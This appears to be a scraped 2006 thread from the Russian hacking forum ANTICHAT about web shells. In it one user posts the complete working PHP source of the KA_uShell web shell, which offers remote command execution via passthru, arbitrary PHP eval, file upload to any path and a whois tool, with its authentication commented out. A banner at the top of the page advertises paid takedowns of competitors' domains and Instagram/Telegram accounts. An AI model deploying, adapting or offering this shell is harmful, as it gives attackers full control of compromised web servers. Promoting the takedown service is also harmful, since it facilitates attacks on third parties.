УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Опрос : Веб-Шеллы

Страница 2 из 3

Опции темы

Поиск в этой теме

Опции просмотра

#11

30.01.2006, 00:02

k1b0rg

Тут может быть ваша реклама.

Регистрация: 30.07.2005

Сообщений: 1,243

Провел на форуме:
4520553

Репутация: 1316

nfm .

#12

30.01.2006, 01:01

Azazel

Заведующий всем

Регистрация: 17.04.2005

Сообщений: 1,062

Провел на форуме:
5957900

Репутация: 561

Цитата:

Сообщение от k1b0rg

nfm .

Не знаю какой у тебя nfm, но мой если заливаешь что выдаёт ошибку парсинга. И не только у меня так вроде.

Я вот нашел недавно такой маленький.

PHP код:


		
			
<!--



/+--------------------------------+\

 |            KA_uShell           |

 |    <KAdot Universal Shell>     |

 |         Version 0.1.6          |

 |            13.03.04            |

 |  Author: KAdot <KAdot@ngs.ru>  |

 |--------------------------------|

\+                                +/



-->

<html>

<head>

<title>KA_uShell 0.1.6</title>

<style type="text/css">

<!--

body, table{font-family:Verdana; font-size:12px;}

table {background-color:#EAEAEA; border-width:0px;}

b {font-family:Arial; font-size:15px;}

a{text-decoration:none;}

-->

</style>

</head>

<body>



<?php

$self = $_SERVER['PHP_SELF'];

$docr = $_SERVER['DOCUMENT_ROOT'];

$sern = $_SERVER['SERVER_NAME'];

$tend = "</tr></form></table><br><br><br><br>";



// Configuration

$login = "admin";

$pass = "123";





/*/ Authentication

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm="KA_uShell"');

header('HTTP/1.0 401 Unauthorized');

exit;}



else {

if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login)

{ echo "Что надо?"; exit;}

}

*/







if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}

elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}

else {$ac = "shell";}



// Menu

echo "

|<a href=$self?ac=shell>Shell</a>|

|<a href=$self?ac=upload>File Upload</a>|

|<a href=$self?ac=tools>Tools</a>|

|<a href=$self?ac=eval>PHP Eval Code</a>|

|<a href=$self?ac=whois>Whois</a>|

<br><br><br><pre>";





switch($ac) {



// Shell

case "shell":



echo <<<HTML

<b>Shell</b>

<table>

<form action="$self" method="POST">

<input type="hidden" name="ac" value="shell">

<tr><td>

$$sern <input size="50" type="text" name="c"><input align="right" type="submit" value="Enter">

</td></tr>

<tr><td>

<textarea cols="100" rows="25">

HTML;



if (!empty($_POST['c'])){

passthru($_POST['c']);

}

echo "</textarea></td>$tend";

break;





//PHP Eval Code execution

case "eval":



echo <<<HTML

<b>PHP Eval Code</b>

<table>

<form method="POST" action="$self">

<input type="hidden" name="ac" value="eval">

<tr>

<td><textarea name="ephp" rows="10" cols="60"></textarea></td>

</tr>

<tr>

<td><input type="submit" value="Enter"></td>

$tend

HTML;



if (isset($_POST['ephp'])){

eval($_POST['ephp']);

}

break;





//Text tools

case "tools":



echo <<<HTML

<b>Tools</b>

<table>

<form method="POST" action="$self">

<input type="hidden" name="ac" value="tools">

<tr>

<td>

<input type="radio" name="tac" value="1">B64 Decode<br>

<input type="radio" name="tac" value="2">B64 Encode<br><hr>

<input type="radio" name="tac" value="3">md5 Hash

</td>

<td><textarea name="tot" rows="5" cols="42"></textarea></td>

</tr>

<tr>

<td> </td>

<td><input type="submit" value="Enter"></td>

$tend

HTML;



if (!empty($_POST['tot']) && !empty($_POST['tac'])) {



switch($_POST['tac']) {



case "1":

echo "Раскодированный текст:<b>" .base64_decode($_POST['tot']). "</b>";

break;



case "2":

echo "Кодированный текст:<b>" .base64_encode($_POST['tot']). "</b>";

break;



case "3":

echo "Кодированный текст:<b>" .md5($_POST['tot']). "</b>";

break;

}}

break;





// Uploading

case "upload":



echo <<<HTML

<b>File Upload</b>

<table>

<form enctype="multipart/form-data" action="$self" method="POST">

<input type="hidden" name="ac" value="upload">

<tr>

<td>Файло:</td>

<td><input size="48" name="file" type="file"></td>

</tr>

<tr>

<td>Папка:</td>

<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="Послать"></td>

$tend

HTML;



if (isset($_POST['path'])){



$uploadfile = $_POST['path'].$_FILES['file']['name'];

if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}



if (copy($_FILES['file']['tmp_name'], $uploadfile)) {

    echo "Файло успешно загружен в папку $uploadfile\n";

    echo "Имя:" .$_FILES['file']['name']. "\n";

    echo "Размер:" .$_FILES['file']['size']. "\n";



} else {

    print "Не удаётся загрузить файло. Инфа:\n";

    print_r($_FILES);

}

}

break;





// Whois

case "whois":

echo <<<HTML

<b>Whois</b>

<table>

<form action="$self" method="POST">

<input type="hidden" name="ac" value="whois">

<tr>

<td>Домен:</td>

<td><input size="40" type="text" name="wq"></td>

</tr>

<tr>

<td>Хуйз сервер:</td>

<td><input size="40" type="text" name="wser" value="whois.ripe.net"></td>

</tr>

<tr><td>

<input align="right" type="submit" value="Enter">

</td></tr>

$tend

HTML;



if (isset($_POST['wq']) && $_POST['wq']<>"") {



if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser'];



$querty = $_POST['wq']."\r\n";

$fp = fsockopen($wser, 43);



if (!$fp) {echo "Не могу открыть сокет";} else {

fputs($fp, $querty);

while(!feof($fp)){echo fgets($fp, 4000);}

fclose($fp);

}}

break;





}

?>

</pre>

</body>

</html>

__________________
Full DNS report

#13

30.01.2006, 01:25